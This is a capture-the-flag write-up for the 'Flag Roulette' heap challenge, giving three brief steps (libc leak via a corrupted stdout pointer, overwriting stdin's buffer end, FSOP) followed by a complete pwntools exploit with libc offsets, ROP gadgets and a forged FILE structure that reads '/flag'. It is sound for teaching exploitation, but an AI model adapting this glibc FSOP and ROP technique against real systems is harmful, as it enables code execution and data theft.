4th place

Flag Roulette

  1. Malloc a mmap chunk to change the _IO_write_ptr of _IO_2_1_stdout_ to leak the libc address
  2. Malloc another mmap chunk to change the _IO_buf_end of _IO_2_1_stdin_ so that we can overwrite the data on _IO_2_1_stdout_ in the next input
  3. FSOP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

io = remote('worker03.gcc-ctf.com', 14964)
context.bits = 64
libc = ELF('libc.so.6')

rc = lambda n : io.recv(n)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
libc_os = lambda x : libc_base + x
libc_sym = lambda x : libc_os(libc.sym[x])

def menu(choice):
sla('> ', str(choice))

def place(size, offset, val):
menu(1)
sla('How many bytes would you like to bet on ?\n> ', str(size))
sla('Please choose the index of the byte to modify\n> ', str(offset))
sla('Please set the new value of this byte\n> ', str(val))

def delete():
menu(2)

place(0x20000, 0x1f8770+0x28, 0xff)
rc(5)
libc_base = uu64(rc(8)) - 0x1d5a30
read_addr = libc_sym('read')
write_addr = libc_sym('write')
pop_rdi = libc_os(0x0000000000027c65)
pop_rsi = libc_os(0x0000000000029419)
pop_rdx_r12 = libc_os(0x0000000000084565)
pop_rax = libc_os(0x000000000003f587)
syscall = libc_os(0x00000000000853b2)
vt = libc_sym('_IO_wfile_jumps')
mh_addr = libc_sym('__malloc_hook')
fh_addr = libc_sym('__free_hook')
rop_addr = libc_os(0x1d3c00)
gadget = libc_os(0x0000000000145E36)
stdout_addr = libc_os(0x1d4780)
pld = flat({
0xdd: [
pop_rdx_r12,
0, stdout_addr,
pop_rax,
2,
pop_rdi,
rop_addr + 0x200,
pop_rsi,
0,
syscall,
pop_rdi,
3,
pop_rsi,
fh_addr,
pop_rdx_r12,
0x50, 0,
read_addr,
pop_rdi,
1,
write_addr
],
0x1dd: {
0x68: gadget,
0xe0: rop_addr + 0x100
},
0x2dd: '/flag\x00',
0xc5d: {
0x48: rop_addr-8,
0x18: stdout_addr,
0x28: libc_os(0x000000000004e3b9),
0x88: mh_addr,
0xa0: rop_addr + 0x100,
0xd8: vt - 0x20
}
}, filler = '\x00')
delete()
place(0x21000, 0x1f8a90 + 0x41, 0xff)
menu(pld)
ia()